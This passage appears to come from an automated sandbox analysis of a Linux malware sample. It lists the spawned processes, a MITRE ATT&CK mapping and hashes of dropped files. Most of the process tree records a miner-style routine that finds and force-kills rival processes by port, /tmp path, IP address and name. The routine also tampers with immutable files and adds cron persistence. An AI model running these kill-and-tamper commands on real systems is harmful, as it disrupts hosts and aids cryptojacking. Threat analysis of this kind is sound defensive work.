  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1824
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1832
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1833
- /bin/grep
  grep :3333
  2⤵
  PID:1831
- /bin/grep
  grep -v grep
  2⤵
  PID:1830
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1829
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1838
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1837
- /bin/grep
  grep :5555
  2⤵
  PID:1836
- /bin/grep
  grep -v grep
  2⤵
  PID:1835
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1834
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1843
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1842
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:1841
- /bin/grep
  grep -v grep
  2⤵
  PID:1840
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1839
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1847
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1848
- /bin/grep
  grep log_
  2⤵
  PID:1846
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1844
- /bin/grep
  grep -v grep
  2⤵
  PID:1845
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1852
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1853
- /bin/grep
  grep systemten
  2⤵
  PID:1851
- /bin/grep
  grep -v grep
  2⤵
  PID:1850
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1849
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1857
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1858
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    PID:1859
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    PID:1859
- - /usr/sbin/kill
    kill -9 10
    3⤵
    PID:1859
- - /usr/bin/kill
    kill -9 10
    3⤵
    PID:1859
- - /sbin/kill
    kill -9 10
    3⤵
    PID:1859
- - /bin/kill
    kill -9 10
    3⤵
    PID:1859
- /bin/grep
  grep netns
  2⤵
  PID:1856
- /bin/grep
  grep -v grep
  2⤵
  PID:1855
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1854
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1863
- /bin/grep
  grep voltuned
  2⤵
  PID:1862
- /bin/grep
  grep -v grep
  2⤵
  PID:1861
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1864
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1860
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1869
- /bin/grep
  grep darwin
  2⤵
  PID:1867
- /bin/grep
  grep -v grep
  2⤵
  PID:1866
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1865
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1868
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1874
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1873
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1872
- /bin/grep
  grep -v grep
  2⤵
  PID:1871
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1870
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1878
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1877
- /bin/grep
  grep -v grep
  2⤵
  PID:1876
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1879
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1875
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1884
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1883
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1882
- /bin/grep
  grep -v grep
  2⤵
  PID:1881
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1880
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1889
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1888
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1887
- /bin/grep
  grep -v grep
  2⤵
  PID:1886
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1885
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1894
- /bin/grep
  grep -v grep
  2⤵
  PID:1891
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1892
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1890
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1893
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1898
- /bin/grep
  grep -v grep
  2⤵
  PID:1896
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1899
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1895
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1897
- /bin/grep
  grep -v grep
  2⤵
  PID:1901
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1904
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1900
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1903
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1902
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1909
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1908
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1907
- /bin/grep
  grep -v grep
  2⤵
  PID:1906
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1905
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1914
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1913
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1912
- /bin/grep
  grep -v grep
  2⤵
  PID:1911
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1910
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1918
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1917
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1919
- /bin/grep
  grep -v grep
  2⤵
  PID:1916
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1915
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1924
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1922
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1923
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1920
- /bin/grep
  grep -v grep
  2⤵
  PID:1921
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1929
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1928
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1927
- /bin/grep
  grep -v grep
  2⤵
  PID:1926
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1925
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1934
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1933
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1932
- /bin/grep
  grep -v grep
  2⤵
  PID:1931
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1930
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1937
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1939
- /bin/grep
  grep -v grep
  2⤵
  PID:1936
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1935
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1938
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1944
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1943
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1942
- /bin/grep
  grep -v grep
  2⤵
  PID:1941
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1940
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1949
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1948
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1947
- /bin/grep
  grep -v grep
  2⤵
  PID:1946
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1945
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1954
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1953
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:1952
- /bin/grep
  grep -v grep
  2⤵
  PID:1951
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1950
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1959
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1958
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:1957
- /bin/grep
  grep -v grep
  2⤵
  PID:1956
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1955
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1964
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1963
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1962
- /bin/grep
  grep -v grep
  2⤵
  PID:1961
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1960
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1969
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:1967
- /bin/grep
  grep -v grep
  2⤵
  PID:1966
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1968
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1965
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1974
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1973
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:1972
- /bin/grep
  grep -v grep
  2⤵
  PID:1971
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1970
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1978
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1979
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:1977
- /bin/grep
  grep -v grep
  2⤵
  PID:1976
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1975
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1984
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1983
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:1982
- /bin/grep
  grep -v grep
  2⤵
  PID:1981
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1980
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1989
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1988
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:1987
- /bin/grep
  grep -v grep
  2⤵
  PID:1986
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1985
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1994
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1993
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:1992
- /bin/grep
  grep -v grep
  2⤵
  PID:1991
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1990
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1999
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1998
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:1997
- /bin/grep
  grep -v grep
  2⤵
  PID:1996
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1995
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2003
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2004
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:2002
- /bin/grep
  grep -v grep
  2⤵
  PID:2001
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2000
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2009
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2008
- /bin/grep
  grep HiPxCJRS
  2⤵
  - System Network Configuration Discovery
  PID:2007
- /bin/grep
  grep -v grep
  2⤵
  PID:2006
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2005
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2014
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2013
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:2012
- /bin/grep
  grep -v grep
  2⤵
  PID:2011
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2010
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2019
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2018
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:2017
- /bin/grep
  grep -v grep
  2⤵
  PID:2016
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2015
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2024
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:2022
- /bin/grep
  grep -v grep
  2⤵
  PID:2021
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2023
- /bin/ps
  ps aux
  2⤵
  PID:2020
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2029
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2028
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:2027
- /bin/grep
  grep -v grep
  2⤵
  PID:2026
- /bin/ps
  ps aux
  2⤵
  PID:2025
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2034
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2033
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:2032
- /bin/grep
  grep -v grep
  2⤵
  PID:2031
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2030
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2039
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2038
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  - System Network Configuration Discovery
  PID:2037
- /bin/grep
  grep -v grep
  2⤵
  PID:2036
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2035
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2043
- /bin/grep
  grep -v grep
  2⤵
  PID:2041
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2040
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:2042
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2048
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2047
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:2046
- /bin/grep
  grep -v grep
  2⤵
  PID:2045
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2044
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2053
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:2051
- /bin/grep
  grep -v grep
  2⤵
  PID:2050
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2052
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2049
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2058
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2057
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:2056
- /bin/grep
  grep -v grep
  2⤵
  PID:2055
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2054
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2062
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2063
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:2061
- /bin/grep
  grep -v grep
  2⤵
  PID:2060
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2059
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2068
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2067
- /bin/grep
  grep nqscheduler
  2⤵
  PID:2066
- /bin/grep
  grep -v grep
  2⤵
  PID:2065
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2064
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2073
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2072
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:2071
- /bin/grep
  grep -v grep
  2⤵
  PID:2070
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2069
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:2078
- /bin/grep
  grep "]"
  2⤵
  PID:2077
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2079
- /bin/grep
  grep -v aux
  2⤵
  PID:2076
- /bin/grep
  grep -v grep
  2⤵
  PID:2075
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2074
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2083
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2084
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:2082
- /bin/grep
  grep -v grep
  2⤵
  PID:2081
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2080
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2089
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:2087
- /bin/grep
  grep -v grep
  2⤵
  PID:2086
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2088
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2085
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2093
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2094
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:2092
- /bin/grep
  grep -v grep
  2⤵
  PID:2091
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2090
- /bin/grep
  grep -v _
  2⤵
  PID:2099
- /bin/grep
  grep -v /
  2⤵
  PID:2097
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:2100
- /bin/grep
  grep -v grep
  2⤵
  PID:2096
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2101
- /bin/grep
  grep -v -
  2⤵
  PID:2098
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2095
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2106
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2105
- /bin/grep
  grep "\\[^"
  2⤵
  PID:2104
- /bin/grep
  grep -v grep
  2⤵
  PID:2103
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2102

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
830B

MD5
9169857d1cf2ff6e4d62a3699b31018a

SHA1
bb615bdfda4076e32ab70cda410cbba1a3dae063

SHA256
971c39e013287ced12f3819d7fdf044f80256f4c2c196fb2961c7b7bfd7d46f8

SHA512
be99d889ae761a74f6b96e9882652461a5d19bad245db41a9c72ee45444d1bddaea3fce53de278bebf0fcfe19dbd13be528c806ad2ff6fafdb344d075df3b115

Download Submit
/var/mail/user

Filesize
1KB

MD5
24ba32c6b5b2a9d9c0e55320120b0dcd

SHA1
b98f6751a5cbdd0fd15323f6ab453c852fc3112f

SHA256
50e2ea61e345ac0bba2b67353894e22b94362ad367860653c8745d0c2a05b66b

SHA512
1b68d4ede51af5e326ca29c9c9a567507e350305d8850e6f214f9e5a2876b33570ee5e34408db2c7a0a422e689d84ac12582a31ff40c244b774afeabd78950bc

Download Submit
/var/spool/cron/crontabs/tmp.MlDXzq

Filesize
175B

MD5
94789a4f75416dc566ed9bd2b9fab63b

SHA1
0b6e0e97ca378f27df3c9f9ea67dfa5d7fe87973

SHA256
8e4d8a07dbbfdada5cb57a84881bb3f5508e2a2dda0ee635afee45df38a1012a

SHA512
a1813867bd973fe715dffe0b9f43bb131653f3a02556e1f9d64b4772b510eccc2f10973cbf482541e9c02d92984033ad3279cc0e6945463b4e963fe5f5ba9204

Download Submit
/var/spool/cron/crontabs/tmp.gR7Wqe

Filesize
175B

MD5
987e248453c8a70a023ab80e396d64e3

SHA1
9babed9e863d3eec041deebf9d2b6c1ab3cd223c

SHA256
5ad8477040d0c332823d00dc251abc592e79a06b4b56d9b5cef92e9441d2060c

SHA512
668d8f2b26b83510a02dc03e13ec51373ccad9e0714ef9e9f334ea504343764359c11f21f6014ce7b3d261c2997dcf544351ca20ad61c484ba310c55b8348bfa

Download Submit
/var/spool/cron/crontabs/tmp.k7oJmo

Filesize
175B

MD5
d4e91b87ee5e3732fceb5ddc89ca4aab

SHA1
0c195ccaf2790dfda492c6108a127073cdbcca4d

SHA256
fbf245790e44a5bf9c48b6d5623aa74d9f77e8618433ec6c716bf0e70f3e644c

SHA512
92041e7e5ecad270aefbdb44f627ae57175644e9a25f0a0596af5c99a0d8bb4b2f401b21c375a5cd28c409876a71ab530ebf1ee7b4ede48abebdc5edaf68cad4

Download Submit
/var/spool/cron/crontabs/tmp.oBzNau

Filesize
175B

MD5
38ab95adc4d5072033383046c56f2031

SHA1
6ab48a3a528c159771864ca6feb8d3da73ecf4d1

SHA256
5b3be9b03fafdfb8da5db41c9d2e04986c6d48900289eb894c0cec9571095591

SHA512
f1efdc30a9332b29012fbc829b8b285f59acb213b1d37012ade8a79e838ddb092570c7b394a9e330affe457cae5362a16f840c1f6dab046972a53af552c50008

Download Submit
/var/spool/cron/crontabs/tmp.w1u6dr

Filesize
175B

MD5
fbc376ed3041b6fcb73c4c8f2d77edcf

SHA1
4c1189ab6882314b324ee3113c1db50be4954b99

SHA256
b7fd55c3996ce0a6f108a635dfb84c50cc30fffa8aeb1991e574e58e77773ffa

SHA512
0fb750ee7d70415d6e582bb6fdbe7a8b9a056f5406593bd89344d7c92a39106b78f2828285b3377413aea1893b0540d5bc581120dada5b60c34a0d2007d50802

Download Submit
/var/spool/exim4/input/1tmOBn-0000Bm-Ta-D

Filesize
130B

MD5
16bb8750bab6789168be69aaea5c0e40

SHA1
fabaa0c41e7d2396af38c2d775909e7fb91472e3

SHA256
9dd86fa2bd3f1f1be57c20c92e9437d9bb4fece04f413b27eb998b876edb090a

SHA512
694283bc87bf18166f33028414140ef2d4994765a52002c94bc92824c0676cd64e0f490dc18420e8914a6390545c199d28dd92c60909d6dafc591686f48c6e01

Download Submit
/var/spool/exim4/input/1tmOBn-0000Bm-Ta-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/1tmOBn-0000Bp-TB-D

Filesize
147B

MD5
aecaa9b853e0217309d2f428d33f8a21

SHA1
1bcc4cf801878fa5af5f7b27c3d5a0a5b8dcc71a

SHA256
806cc9f66e4e93bd682b341c7f9511f4f0e991e70a66e45b00a8d40c0fcedc1b

SHA512
e9180650d4141f4eaae1e2ea6d5fdc7f9ed98d9bbf8e38dc33852b351e35af39f2ea4ba11e4ddc9ecd7f21ab8ad3440ee58a40c0fea655ce6cff9589105221ee

Download Submit
/var/spool/exim4/input/hdr.730

Filesize
918B

MD5
f94546530150ec26e5deeaa921645fd7

SHA1
505672e18142a77574d18a2032d28a5eb7b4ad67

SHA256
bf9839206b73a4c581cfb49929dd2ef45feac1b66fe791c4a5bddc907f600cbe

SHA512
6e9674003dff71f6fdcea742ced6356de48118846453f76d79e3397b0cbd00bb5f386292dbb5eba2279589b8d0241f5695637f43e1c684ca872a46c816e8bd54

Download Submit
/var/spool/exim4/msglog/1tmOBn-0000Bm-Ta

Filesize
288B

MD5
08945a1c96e3c6ba7ea84613cf3f307f

SHA1
802da4ec80f6d3cf57f3b55134b25e80b0f82641

SHA256
9d4605e7907a3bfb6bb87d3350d4e706be931cb58a248c374a5009ff6c768e16

SHA512
fea3fac149636242f860ddcf52033c9c472d79cf83913bdb96a4144a103f4071198ae149f0a4a635c4e0e5f5b1f1995bf61ccc347e8ad341fc0952109a168f0f

Download Submit
/var/spool/exim4/msglog/1tmOBn-0000Bm-Ta

Filesize
89B

MD5
2c72f4302d38c320122a3a29a1595eb5

SHA1
0e01122475cb05dea27b02792a68f7b3f886c522

SHA256
b2fe6f0cb1315adbfbf917a8599fe4b5fe6d9ace2cb5366660fb4767708f76ba

SHA512
e8d43d33433fd8057ceca9c70fb46463e4bd6b6528e5447de6fedae2203d3cdd15ca8a04ec43b1d72d2914456f563d0e4b077d0b5b92e1df4e4879424009a53e

Download Submit
/var/spool/exim4/msglog/1tmOBn-0000Bp-TB

Filesize
288B

MD5
660ab2d8d2993aae33832833dfece351

SHA1
fd5fd9955275f75a56c07085a2fd085b873b1be5

SHA256
2cbc16475d2e1e7697da55ca79a8d5a8352ef6dd24bad12bb808daf5098733c8

SHA512
9eab0556bb35bf3ccbf3343eee00bd913916301191d984c3600f5c7d5732f125f3fdb5489b23d513b4e22ca1cd01d65e83066349cb86acc746ed68cebad497cc

Download Submit
/var/spool/exim4/msglog/1tmOBn-0000Bp-TB

Filesize
89B

MD5
a3ee96c76b0c58e57aac3f3d2d5d8499

SHA1
